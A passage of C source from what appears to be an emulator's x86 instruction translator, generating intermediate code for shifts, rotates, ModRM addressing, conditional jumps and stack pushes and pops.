tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
}
static void gen_shift_rm_T1(DisasContext *s, int ot, int op1,
int is_right, int is_arith)
{
target_ulong mask;
int shift_label;
TCGv t0, t1;
if (ot == OT_QUAD)
mask = 0x3f;
else
mask = 0x1f;
/* load */
if (op1 == OR_TMP0)
gen_op_ld_T0_A0(ot + s->mem_index);
else
gen_op_mov_TN_reg(ot, 0, op1);
tcg_gen_andi_tl(cpu_T[1], cpu_T[1], mask);
tcg_gen_addi_tl(cpu_tmp5, cpu_T[1], -1);
if (is_right) {
if (is_arith) {
gen_exts(ot, cpu_T[0]);
tcg_gen_sar_tl(cpu_T3, cpu_T[0], cpu_tmp5);
tcg_gen_sar_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
} else {
gen_extu(ot, cpu_T[0]);
tcg_gen_shr_tl(cpu_T3, cpu_T[0], cpu_tmp5);
tcg_gen_shr_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
}
} else {
tcg_gen_shl_tl(cpu_T3, cpu_T[0], cpu_tmp5);
tcg_gen_shl_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
}
/* store */
if (op1 == OR_TMP0)
gen_op_st_T0_A0(ot + s->mem_index);
else
gen_op_mov_reg_T0(ot, op1);
/* update eflags if non zero shift */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
/* XXX: inefficient */
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
tcg_gen_mov_tl(t0, cpu_T[0]);
tcg_gen_mov_tl(t1, cpu_T3);
shift_label = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_T[1], 0, shift_label);
tcg_gen_mov_tl(cpu_cc_src, t1);
tcg_gen_mov_tl(cpu_cc_dst, t0);
if (is_right)
tcg_gen_movi_i32(cpu_cc_op, CC_OP_SARB + ot);
else
tcg_gen_movi_i32(cpu_cc_op, CC_OP_SHLB + ot);
gen_set_label(shift_label);
s->cc_op = CC_OP_DYNAMIC; /* cannot predict flags after */
tcg_temp_free(t0);
tcg_temp_free(t1);
}
static void gen_shift_rm_im(DisasContext *s, int ot, int op1, int op2,
int is_right, int is_arith)
{
int mask;
if (ot == OT_QUAD)
mask = 0x3f;
else
mask = 0x1f;
/* load */
if (op1 == OR_TMP0)
gen_op_ld_T0_A0(ot + s->mem_index);
else
gen_op_mov_TN_reg(ot, 0, op1);
op2 &= mask;
if (op2 != 0) {
if (is_right) {
if (is_arith) {
gen_exts(ot, cpu_T[0]);
tcg_gen_sari_tl(cpu_tmp4, cpu_T[0], op2 - 1);
tcg_gen_sari_tl(cpu_T[0], cpu_T[0], op2);
} else {
gen_extu(ot, cpu_T[0]);
tcg_gen_shri_tl(cpu_tmp4, cpu_T[0], op2 - 1);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], op2);
}
} else {
tcg_gen_shli_tl(cpu_tmp4, cpu_T[0], op2 - 1);
tcg_gen_shli_tl(cpu_T[0], cpu_T[0], op2);
}
}
/* store */
if (op1 == OR_TMP0)
gen_op_st_T0_A0(ot + s->mem_index);
else
gen_op_mov_reg_T0(ot, op1);
/* update eflags if non zero shift */
if (op2 != 0) {
tcg_gen_mov_tl(cpu_cc_src, cpu_tmp4);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
if (is_right)
s->cc_op = CC_OP_SARB + ot;
else
s->cc_op = CC_OP_SHLB + ot;
}
}
static inline void tcg_gen_lshift(TCGv ret, TCGv arg1, target_long arg2)
{
if (arg2 >= 0)
tcg_gen_shli_tl(ret, arg1, arg2);
else
tcg_gen_shri_tl(ret, arg1, -arg2);
}
static void gen_rot_rm_T1(DisasContext *s, int ot, int op1,
int is_right)
{
target_ulong mask;
int label1, label2, data_bits;
TCGv t0, t1, t2, a0;
/* XXX: inefficient, but we must use local temps */
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
t2 = tcg_temp_local_new();
a0 = tcg_temp_local_new();
if (ot == OT_QUAD)
mask = 0x3f;
else
mask = 0x1f;
/* load */
if (op1 == OR_TMP0) {
tcg_gen_mov_tl(a0, cpu_A0);
gen_op_ld_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_v_reg(ot, t0, op1);
}
tcg_gen_mov_tl(t1, cpu_T[1]);
tcg_gen_andi_tl(t1, t1, mask);
/* Must test zero case to avoid using undefined behaviour in TCG
shifts. */
label1 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, t1, 0, label1);
if (ot <= OT_WORD)
tcg_gen_andi_tl(cpu_tmp0, t1, (1 << (3 + ot)) - 1);
else
tcg_gen_mov_tl(cpu_tmp0, t1);
gen_extu(ot, t0);
tcg_gen_mov_tl(t2, t0);
data_bits = 8 << ot;
/* XXX: rely on behaviour of shifts when operand 2 overflows (XXX:
fix TCG definition) */
if (is_right) {
tcg_gen_shr_tl(cpu_tmp4, t0, cpu_tmp0);
tcg_gen_subfi_tl(cpu_tmp0, data_bits, cpu_tmp0);
tcg_gen_shl_tl(t0, t0, cpu_tmp0);
} else {
tcg_gen_shl_tl(cpu_tmp4, t0, cpu_tmp0);
tcg_gen_subfi_tl(cpu_tmp0, data_bits, cpu_tmp0);
tcg_gen_shr_tl(t0, t0, cpu_tmp0);
}
tcg_gen_or_tl(t0, t0, cpu_tmp4);
gen_set_label(label1);
/* store */
if (op1 == OR_TMP0) {
gen_op_st_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_reg_v(ot, op1, t0);
}
/* update eflags */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
label2 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, t1, 0, label2);
gen_compute_eflags(cpu_cc_src);
tcg_gen_andi_tl(cpu_cc_src, cpu_cc_src, ~(CC_O | CC_C));
tcg_gen_xor_tl(cpu_tmp0, t2, t0);
tcg_gen_lshift(cpu_tmp0, cpu_tmp0, 11 - (data_bits - 1));
tcg_gen_andi_tl(cpu_tmp0, cpu_tmp0, CC_O);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, cpu_tmp0);
if (is_right) {
tcg_gen_shri_tl(t0, t0, data_bits - 1);
}
tcg_gen_andi_tl(t0, t0, CC_C);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, t0);
tcg_gen_discard_tl(cpu_cc_dst);
tcg_gen_movi_i32(cpu_cc_op, CC_OP_EFLAGS);
gen_set_label(label2);
s->cc_op = CC_OP_DYNAMIC; /* cannot predict flags after */
tcg_temp_free(t0);
tcg_temp_free(t1);
tcg_temp_free(t2);
tcg_temp_free(a0);
}
static void gen_rot_rm_im(DisasContext *s, int ot, int op1, int op2,
int is_right)
{
int mask;
int data_bits;
TCGv t0, t1, a0;
/* XXX: inefficient, but we must use local temps */
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
a0 = tcg_temp_local_new();
if (ot == OT_QUAD)
mask = 0x3f;
else
mask = 0x1f;
/* load */
if (op1 == OR_TMP0) {
tcg_gen_mov_tl(a0, cpu_A0);
gen_op_ld_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_v_reg(ot, t0, op1);
}
gen_extu(ot, t0);
tcg_gen_mov_tl(t1, t0);
op2 &= mask;
data_bits = 8 << ot;
if (op2 != 0) {
int shift = op2 & ((1 << (3 + ot)) - 1);
if (is_right) {
tcg_gen_shri_tl(cpu_tmp4, t0, shift);
tcg_gen_shli_tl(t0, t0, data_bits - shift);
}
else {
tcg_gen_shli_tl(cpu_tmp4, t0, shift);
tcg_gen_shri_tl(t0, t0, data_bits - shift);
}
tcg_gen_or_tl(t0, t0, cpu_tmp4);
}
/* store */
if (op1 == OR_TMP0) {
gen_op_st_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_reg_v(ot, op1, t0);
}
if (op2 != 0) {
/* update eflags */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_compute_eflags(cpu_cc_src);
tcg_gen_andi_tl(cpu_cc_src, cpu_cc_src, ~(CC_O | CC_C));
tcg_gen_xor_tl(cpu_tmp0, t1, t0);
tcg_gen_lshift(cpu_tmp0, cpu_tmp0, 11 - (data_bits - 1));
tcg_gen_andi_tl(cpu_tmp0, cpu_tmp0, CC_O);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, cpu_tmp0);
if (is_right) {
tcg_gen_shri_tl(t0, t0, data_bits - 1);
}
tcg_gen_andi_tl(t0, t0, CC_C);
tcg_gen_or_tl(cpu_cc_src, cpu_cc_src, t0);
tcg_gen_discard_tl(cpu_cc_dst);
tcg_gen_movi_i32(cpu_cc_op, CC_OP_EFLAGS);
s->cc_op = CC_OP_EFLAGS;
}
tcg_temp_free(t0);
tcg_temp_free(t1);
tcg_temp_free(a0);
}
/* XXX: add faster immediate = 1 case */
static void gen_rotc_rm_T1(DisasContext *s, int ot, int op1,
int is_right)
{
int label1;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
/* load */
if (op1 == OR_TMP0)
gen_op_ld_T0_A0(ot + s->mem_index);
else
gen_op_mov_TN_reg(ot, 0, op1);
if (is_right) {
switch (ot) {
case 0: gen_helper_rcrb(cpu_T[0], cpu_T[0], cpu_T[1]); break;
case 1: gen_helper_rcrw(cpu_T[0], cpu_T[0], cpu_T[1]); break;
case 2: gen_helper_rcrl(cpu_T[0], cpu_T[0], cpu_T[1]); break;
#ifdef TARGET_X86_64
case 3: gen_helper_rcrq(cpu_T[0], cpu_T[0], cpu_T[1]); break;
#endif
}
} else {
switch (ot) {
case 0: gen_helper_rclb(cpu_T[0], cpu_T[0], cpu_T[1]); break;
case 1: gen_helper_rclw(cpu_T[0], cpu_T[0], cpu_T[1]); break;
case 2: gen_helper_rcll(cpu_T[0], cpu_T[0], cpu_T[1]); break;
#ifdef TARGET_X86_64
case 3: gen_helper_rclq(cpu_T[0], cpu_T[0], cpu_T[1]); break;
#endif
}
}
/* store */
if (op1 == OR_TMP0)
gen_op_st_T0_A0(ot + s->mem_index);
else
gen_op_mov_reg_T0(ot, op1);
/* update eflags */
label1 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_cc_tmp, -1, label1);
tcg_gen_mov_tl(cpu_cc_src, cpu_cc_tmp);
tcg_gen_discard_tl(cpu_cc_dst);
tcg_gen_movi_i32(cpu_cc_op, CC_OP_EFLAGS);
gen_set_label(label1);
s->cc_op = CC_OP_DYNAMIC; /* cannot predict flags after */
}
/* XXX: add faster immediate case */
static void gen_shiftd_rm_T1_T3(DisasContext *s, int ot, int op1,
int is_right)
{
int label1, label2, data_bits;
target_ulong mask;
TCGv t0, t1, t2, a0;
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
t2 = tcg_temp_local_new();
a0 = tcg_temp_local_new();
if (ot == OT_QUAD)
mask = 0x3f;
else
mask = 0x1f;
/* load */
if (op1 == OR_TMP0) {
tcg_gen_mov_tl(a0, cpu_A0);
gen_op_ld_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_v_reg(ot, t0, op1);
}
tcg_gen_andi_tl(cpu_T3, cpu_T3, mask);
tcg_gen_mov_tl(t1, cpu_T[1]);
tcg_gen_mov_tl(t2, cpu_T3);
/* Must test zero case to avoid using undefined behaviour in TCG
shifts. */
label1 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, t2, 0, label1);
tcg_gen_addi_tl(cpu_tmp5, t2, -1);
if (ot == OT_WORD) {
/* Note: we implement the Intel behaviour for shift count > 16 */
if (is_right) {
tcg_gen_andi_tl(t0, t0, 0xffff);
tcg_gen_shli_tl(cpu_tmp0, t1, 16);
tcg_gen_or_tl(t0, t0, cpu_tmp0);
tcg_gen_ext32u_tl(t0, t0);
tcg_gen_shr_tl(cpu_tmp4, t0, cpu_tmp5);
/* only needed if count > 16, but a test would complicate */
tcg_gen_subfi_tl(cpu_tmp5, 32, t2);
tcg_gen_shl_tl(cpu_tmp0, t0, cpu_tmp5);
tcg_gen_shr_tl(t0, t0, t2);
tcg_gen_or_tl(t0, t0, cpu_tmp0);
} else {
/* XXX: not optimal */
tcg_gen_andi_tl(t0, t0, 0xffff);
tcg_gen_shli_tl(t1, t1, 16);
tcg_gen_or_tl(t1, t1, t0);
tcg_gen_ext32u_tl(t1, t1);
tcg_gen_shl_tl(cpu_tmp4, t0, cpu_tmp5);
tcg_gen_subfi_tl(cpu_tmp0, 32, cpu_tmp5);
tcg_gen_shr_tl(cpu_tmp5, t1, cpu_tmp0);
tcg_gen_or_tl(cpu_tmp4, cpu_tmp4, cpu_tmp5);
tcg_gen_shl_tl(t0, t0, t2);
tcg_gen_subfi_tl(cpu_tmp5, 32, t2);
tcg_gen_shr_tl(t1, t1, cpu_tmp5);
tcg_gen_or_tl(t0, t0, t1);
}
} else {
data_bits = 8 << ot;
if (is_right) {
if (ot == OT_LONG)
tcg_gen_ext32u_tl(t0, t0);
tcg_gen_shr_tl(cpu_tmp4, t0, cpu_tmp5);
tcg_gen_shr_tl(t0, t0, t2);
tcg_gen_subfi_tl(cpu_tmp5, data_bits, t2);
tcg_gen_shl_tl(t1, t1, cpu_tmp5);
tcg_gen_or_tl(t0, t0, t1);
} else {
if (ot == OT_LONG)
tcg_gen_ext32u_tl(t1, t1);
tcg_gen_shl_tl(cpu_tmp4, t0, cpu_tmp5);
tcg_gen_shl_tl(t0, t0, t2);
tcg_gen_subfi_tl(cpu_tmp5, data_bits, t2);
tcg_gen_shr_tl(t1, t1, cpu_tmp5);
tcg_gen_or_tl(t0, t0, t1);
}
}
tcg_gen_mov_tl(t1, cpu_tmp4);
gen_set_label(label1);
/* store */
if (op1 == OR_TMP0) {
gen_op_st_v(ot + s->mem_index, t0, a0);
} else {
gen_op_mov_reg_v(ot, op1, t0);
}
/* update eflags */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
label2 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_EQ, t2, 0, label2);
tcg_gen_mov_tl(cpu_cc_src, t1);
tcg_gen_mov_tl(cpu_cc_dst, t0);
if (is_right) {
tcg_gen_movi_i32(cpu_cc_op, CC_OP_SARB + ot);
} else {
tcg_gen_movi_i32(cpu_cc_op, CC_OP_SHLB + ot);
}
gen_set_label(label2);
s->cc_op = CC_OP_DYNAMIC; /* cannot predict flags after */
tcg_temp_free(t0);
tcg_temp_free(t1);
tcg_temp_free(t2);
tcg_temp_free(a0);
}
static void gen_shift(DisasContext *s1, int op, int ot, int d, int s)
{
if (s != OR_TMP1)
gen_op_mov_TN_reg(ot, 1, s);
switch(op) {
case OP_ROL:
gen_rot_rm_T1(s1, ot, d, 0);
break;
case OP_ROR:
gen_rot_rm_T1(s1, ot, d, 1);
break;
case OP_SHL:
case OP_SHL1:
gen_shift_rm_T1(s1, ot, d, 0, 0);
break;
case OP_SHR:
gen_shift_rm_T1(s1, ot, d, 1, 0);
break;
case OP_SAR:
gen_shift_rm_T1(s1, ot, d, 1, 1);
break;
case OP_RCL:
gen_rotc_rm_T1(s1, ot, d, 0);
break;
case OP_RCR:
gen_rotc_rm_T1(s1, ot, d, 1);
break;
}
}
static void gen_shifti(DisasContext *s1, int op, int ot, int d, int c)
{
switch(op) {
case OP_ROL:
gen_rot_rm_im(s1, ot, d, c, 0);
break;
case OP_ROR:
gen_rot_rm_im(s1, ot, d, c, 1);
break;
case OP_SHL:
case OP_SHL1:
gen_shift_rm_im(s1, ot, d, c, 0, 0);
break;
case OP_SHR:
gen_shift_rm_im(s1, ot, d, c, 1, 0);
break;
case OP_SAR:
gen_shift_rm_im(s1, ot, d, c, 1, 1);
break;
default:
/* currently not optimized */
gen_op_movl_T1_im(c);
gen_shift(s1, op, ot, d, OR_TMP1);
break;
}
}
static void gen_lea_modrm(DisasContext *s, int modrm, int *reg_ptr, int *offset_ptr)
{
target_long disp;
int havesib;
int base;
int index;
int scale;
int opreg;
int mod, rm, code, override, must_add_seg;
override = s->override;
must_add_seg = s->addseg;
if (override >= 0)
must_add_seg = 1;
mod = (modrm >> 6) & 3;
rm = modrm & 7;
if (s->aflag) {
havesib = 0;
base = rm;
index = 0;
scale = 0;
if (base == 4) {
havesib = 1;
code = ldub_code(s->pc++);
scale = (code >> 6) & 3;
index = ((code >> 3) & 7) | REX_X(s);
base = (code & 7);
}
base |= REX_B(s);
switch (mod) {
case 0:
if ((base & 7) == 5) {
base = -1;
disp = (int32_t)ldl_code(s->pc);
s->pc += 4;
if (CODE64(s) && !havesib) {
disp += s->pc + s->rip_offset;
}
} else {
disp = 0;
}
break;
case 1:
disp = (int8_t)ldub_code(s->pc++);
break;
default:
case 2:
disp = ldl_code(s->pc);
s->pc += 4;
break;
}
if (base >= 0) {
/* for correct popl handling with esp */
if (base == 4 && s->popl_esp_hack)
disp += s->popl_esp_hack;
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_reg(base);
if (disp != 0) {
gen_op_addq_A0_im(disp);
}
} else
#endif
{
gen_op_movl_A0_reg(base);
if (disp != 0)
gen_op_addl_A0_im(disp);
}
} else {
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_im(disp);
} else
#endif
{
gen_op_movl_A0_im(disp);
}
}
/* index == 4 means no index */
if (havesib && (index != 4)) {
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_addq_A0_reg_sN(scale, index);
} else
#endif
{
gen_op_addl_A0_reg_sN(scale, index);
}
}
if (must_add_seg) {
if (override < 0) {
if (base == R_EBP || base == R_ESP)
override = R_SS;
else
override = R_DS;
}
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_addq_A0_seg(override);
} else
#endif
{
gen_op_addl_A0_seg(override);
}
}
} else {
switch (mod) {
case 0:
if (rm == 6) {
disp = lduw_code(s->pc);
s->pc += 2;
gen_op_movl_A0_im(disp);
rm = 0; /* avoid SS override */
goto no_rm;
} else {
disp = 0;
}
break;
case 1:
disp = (int8_t)ldub_code(s->pc++);
break;
default:
case 2:
disp = lduw_code(s->pc);
s->pc += 2;
break;
}
switch(rm) {
case 0:
gen_op_movl_A0_reg(R_EBX);
gen_op_addl_A0_reg_sN(0, R_ESI);
break;
case 1:
gen_op_movl_A0_reg(R_EBX);
gen_op_addl_A0_reg_sN(0, R_EDI);
break;
case 2:
gen_op_movl_A0_reg(R_EBP);
gen_op_addl_A0_reg_sN(0, R_ESI);
break;
case 3:
gen_op_movl_A0_reg(R_EBP);
gen_op_addl_A0_reg_sN(0, R_EDI);
break;
case 4:
gen_op_movl_A0_reg(R_ESI);
break;
case 5:
gen_op_movl_A0_reg(R_EDI);
break;
case 6:
gen_op_movl_A0_reg(R_EBP);
break;
default:
case 7:
gen_op_movl_A0_reg(R_EBX);
break;
}
if (disp != 0)
gen_op_addl_A0_im(disp);
gen_op_andl_A0_ffff();
no_rm:
if (must_add_seg) {
if (override < 0) {
if (rm == 2 || rm == 3 || rm == 6)
override = R_SS;
else
override = R_DS;
}
gen_op_addl_A0_seg(override);
}
}
opreg = OR_A0;
disp = 0;
*reg_ptr = opreg;
*offset_ptr = disp;
}
static void gen_nop_modrm(DisasContext *s, int modrm)
{
int mod, rm, base, code;
mod = (modrm >> 6) & 3;
if (mod == 3)
return;
rm = modrm & 7;
if (s->aflag) {
base = rm;
if (base == 4) {
code = ldub_code(s->pc++);
base = (code & 7);
}
switch (mod) {
case 0:
if (base == 5) {
s->pc += 4;
}
break;
case 1:
s->pc++;
break;
default:
case 2:
s->pc += 4;
break;
}
} else {
switch (mod) {
case 0:
if (rm == 6) {
s->pc += 2;
}
break;
case 1:
s->pc++;
break;
default:
case 2:
s->pc += 2;
break;
}
}
}
/* used for LEA and MOV AX, mem */
static void gen_add_A0_ds_seg(DisasContext *s)
{
int override, must_add_seg;
must_add_seg = s->addseg;
override = R_DS;
if (s->override >= 0) {
override = s->override;
must_add_seg = 1;
}
if (must_add_seg) {
#ifdef TARGET_X86_64
if (CODE64(s)) {
gen_op_addq_A0_seg(override);
} else
#endif
{
gen_op_addl_A0_seg(override);
}
}
}
/* generate modrm memory load or store of 'reg'. TMP0 is used if reg ==
OR_TMP0 */
static void gen_ldst_modrm(DisasContext *s, int modrm, int ot, int reg, int is_store)
{
int mod, rm, opreg, disp;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
if (mod == 3) {
if (is_store) {
if (reg != OR_TMP0)
gen_op_mov_TN_reg(ot, 0, reg);
gen_op_mov_reg_T0(ot, rm);
} else {
gen_op_mov_TN_reg(ot, 0, rm);
if (reg != OR_TMP0)
gen_op_mov_reg_T0(ot, reg);
}
} else {
gen_lea_modrm(s, modrm, &opreg, &disp);
if (is_store) {
if (reg != OR_TMP0)
gen_op_mov_TN_reg(ot, 0, reg);
gen_op_st_T0_A0(ot + s->mem_index);
} else {
gen_op_ld_T0_A0(ot + s->mem_index);
if (reg != OR_TMP0)
gen_op_mov_reg_T0(ot, reg);
}
}
}
static inline uint32_t insn_get(DisasContext *s, int ot)
{
uint32_t ret;
switch(ot) {
case OT_BYTE:
ret = ldub_code(s->pc);
s->pc++;
break;
case OT_WORD:
ret = lduw_code(s->pc);
s->pc += 2;
break;
default:
case OT_LONG:
ret = ldl_code(s->pc);
s->pc += 4;
break;
}
return ret;
}
static inline int insn_const_size(unsigned int ot)
{
if (ot <= OT_LONG)
return 1 << ot;
else
return 4;
}
static inline void gen_goto_tb(DisasContext *s, int tb_num, target_ulong eip)
{
TranslationBlock *tb;
target_ulong pc;
pc = s->cs_base + eip;
tb = s->tb;
/* NOTE: we handle the case where the TB spans two pages here */
if ((pc & TARGET_PAGE_MASK) == (tb->pc & TARGET_PAGE_MASK) ||
(pc & TARGET_PAGE_MASK) == ((s->pc - 1) & TARGET_PAGE_MASK)) {
/* jump to same page: we can use a direct jump */
tcg_gen_goto_tb(tb_num);
gen_jmp_im(eip);
tcg_gen_exit_tb((long)tb + tb_num);
} else {
/* jump to another page: currently not optimized */
gen_jmp_im(eip);
gen_eob(s);
}
}
static inline void gen_jcc(DisasContext *s, int b,
target_ulong val, target_ulong next_eip)
{
int l1, l2, cc_op;
cc_op = s->cc_op;
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
if (s->jmp_opt) {
l1 = gen_new_label();
gen_jcc1(s, cc_op, b, l1);
gen_goto_tb(s, 0, next_eip);
gen_set_label(l1);
gen_goto_tb(s, 1, val);
s->is_jmp = 3;
} else {
l1 = gen_new_label();
l2 = gen_new_label();
gen_jcc1(s, cc_op, b, l1);
gen_jmp_im(next_eip);
tcg_gen_br(l2);
gen_set_label(l1);
gen_jmp_im(val);
gen_set_label(l2);
gen_eob(s);
}
}
static void gen_setcc(DisasContext *s, int b)
{
int inv, jcc_op, l1;
TCGv t0;
if (is_fast_jcc_case(s, b)) {
/* nominal case: we use a jump */
/* XXX: make it faster by adding new instructions in TCG */
t0 = tcg_temp_local_new();
tcg_gen_movi_tl(t0, 0);
l1 = gen_new_label();
gen_jcc1(s, s->cc_op, b ^ 1, l1);
tcg_gen_movi_tl(t0, 1);
gen_set_label(l1);
tcg_gen_mov_tl(cpu_T[0], t0);
tcg_temp_free(t0);
} else {
/* slow case: it is more efficient not to generate a jump,
although it is questionnable whether this optimization is
worth to */
inv = b & 1;
jcc_op = (b >> 1) & 7;
gen_setcc_slow_T0(s, jcc_op);
if (inv) {
tcg_gen_xori_tl(cpu_T[0], cpu_T[0], 1);
}
}
}
static inline void gen_op_movl_T0_seg(int seg_reg)
{
tcg_gen_ld32u_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,segs[seg_reg].selector));
}
static inline void gen_op_movl_seg_T0_vm(int seg_reg)
{
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 0xffff);
tcg_gen_st32_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,segs[seg_reg].selector));
tcg_gen_shli_tl(cpu_T[0], cpu_T[0], 4);
tcg_gen_st_tl(cpu_T[0], cpu_env,
offsetof(CPUX86State,segs[seg_reg].base));
}
/* move T0 to seg_reg and compute if the CPU state may change. Never
call this function with seg_reg == R_CS */
static void gen_movl_seg_T0(DisasContext *s, int seg_reg, target_ulong cur_eip)
{
if (s->pe && !s->vm86) {
/* XXX: optimize by finding processor state dynamically */
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_load_seg(tcg_const_i32(seg_reg), cpu_tmp2_i32);
/* abort translation because the addseg value may change or
because ss32 may change. For R_SS, translation must always
stop as a special handling must be done to disable hardware
interrupts for the next instruction */
if (seg_reg == R_SS || (s->code32 && seg_reg < R_FS))
s->is_jmp = 3;
} else {
gen_op_movl_seg_T0_vm(seg_reg);
if (seg_reg == R_SS)
s->is_jmp = 3;
}
}
static inline int svm_is_rep(int prefixes)
{
return ((prefixes & (PREFIX_REPZ | PREFIX_REPNZ)) ? 8 : 0);
}
static inline void
gen_svm_check_intercept_param(DisasContext *s, target_ulong pc_start,
uint32_t type, uint64_t param)
{
/* no SVM activated; fast case */
if (likely(!(s->flags & HF_SVMI_MASK)))
return;
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
gen_helper_svm_check_intercept_param(tcg_const_i32(type),
tcg_const_i64(param));
}
static inline void
gen_svm_check_intercept(DisasContext *s, target_ulong pc_start, uint64_t type)
{
gen_svm_check_intercept_param(s, pc_start, type, 0);
}
static inline void gen_stack_update(DisasContext *s, int addend)
{
#ifdef TARGET_X86_64
if (CODE64(s)) {
gen_op_add_reg_im(2, R_ESP, addend);
} else
#endif
if (s->ss32) {
gen_op_add_reg_im(1, R_ESP, addend);
} else {
gen_op_add_reg_im(0, R_ESP, addend);
}
}
/* generate a push. It depends on ss32, addseg and dflag */
static void gen_push_T0(DisasContext *s)
{
#ifdef TARGET_X86_64
if (CODE64(s)) {
gen_op_movq_A0_reg(R_ESP);
if (s->dflag) {
gen_op_addq_A0_im(-8);
gen_op_st_T0_A0(OT_QUAD + s->mem_index);
} else {
gen_op_addq_A0_im(-2);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
}
gen_op_mov_reg_A0(2, R_ESP);
} else
#endif
{
gen_op_movl_A0_reg(R_ESP);
if (!s->dflag)
gen_op_addl_A0_im(-2);
else
gen_op_addl_A0_im(-4);
if (s->ss32) {
if (s->addseg) {
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
gen_op_addl_A0_seg(R_SS);
}
} else {
gen_op_andl_A0_ffff();
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
gen_op_addl_A0_seg(R_SS);
}
gen_op_st_T0_A0(s->dflag + 1 + s->mem_index);
if (s->ss32 && !s->addseg)
gen_op_mov_reg_A0(1, R_ESP);
else
gen_op_mov_reg_T1(s->ss32 + 1, R_ESP);
}
}
/* generate a push. It depends on ss32, addseg and dflag */
/* slower version for T1, only used for call Ev */
static void gen_push_T1(DisasContext *s)
{
#ifdef TARGET_X86_64
if (CODE64(s)) {
gen_op_movq_A0_reg(R_ESP);
if (s->dflag) {
gen_op_addq_A0_im(-8);
gen_op_st_T1_A0(OT_QUAD + s->mem_index);
} else {
gen_op_addq_A0_im(-2);
gen_op_st_T0_A0(OT_WORD + s->mem_index);
}
gen_op_mov_reg_A0(2, R_ESP);
} else
#endif
{
gen_op_movl_A0_reg(R_ESP);
if (!s->dflag)
gen_op_addl_A0_im(-2);
else
gen_op_addl_A0_im(-4);
if (s->ss32) {
if (s->addseg) {
gen_op_addl_A0_seg(R_SS);
}
} else {
gen_op_andl_A0_ffff();
gen_op_addl_A0_seg(R_SS);
}
gen_op_st_T1_A0(s->dflag + 1 + s->mem_index);
if (s->ss32 && !s->addseg)
gen_op_mov_reg_A0(1, R_ESP);
else
gen_stack_update(s, (-2) << s->dflag);
}
}
/* two step pop is necessary for precise exceptions */
static void gen_pop_T0(DisasContext *s)
{
#ifdef TARGET_X86_64
if (CODE64(s)) {
gen_op_movq_A0_reg(R_ESP);
gen_op_ld_T0_A0((s->dflag ? OT_QUAD : OT_WORD) + s->mem_index);
} else
#endif
{
gen_op_movl_A0_reg(R_ESP);
if (s->ss32) {
if (s->addseg)
gen_op_addl_A0_seg(R_SS);
} else {
gen_op_andl_A0_ffff();
gen_op_addl_A0_seg(R_SS);
}
gen_op_ld_T0_A0(s->dflag + 1 + s->mem_index);
}
}
static void gen_pop_update(DisasContext *s)
{
#ifdef TARGET_X86_64
if (CODE64(s) && s->dflag) {
gen_stack_update(s, 8);
} else
#endif
{
gen_stack_update(s, 2 << s->dflag);
}
}
static void gen_stack_A0(DisasContext *s)
{
gen_op_movl_A0_reg(R_ESP);
if (!s->ss32)
gen_op_andl_A0_ffff();
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
if (s->addseg)
gen_op_addl_A0_seg(R_SS);
}
/* NOTE: wrap around in 16 bit not fully handled */
static void gen_pusha(DisasContext *s)
{
int i;
gen_op_movl_A0_reg(R_ESP);
gen_op_addl_A0_im(-16 << s->dflag);
if (!s->ss32)
gen_op_andl_A0_ffff();
tcg_gen_mov_tl(cpu_T[1], cpu_A0);
if (s->addseg)
gen_op_addl_A0_seg(R_SS);
for(i = 0;i < 8; i++) {
gen_op_mov_TN_reg(OT_LONG, 0, 7 - i);
gen_op_st_T0_A0(OT_WORD + s->dflag + s->mem_index);
gen_op_addl_A0_im(2 << s->dflag);
}
gen_op_mov_reg_T1(OT_WORD + s->ss32, R_ESP);
}
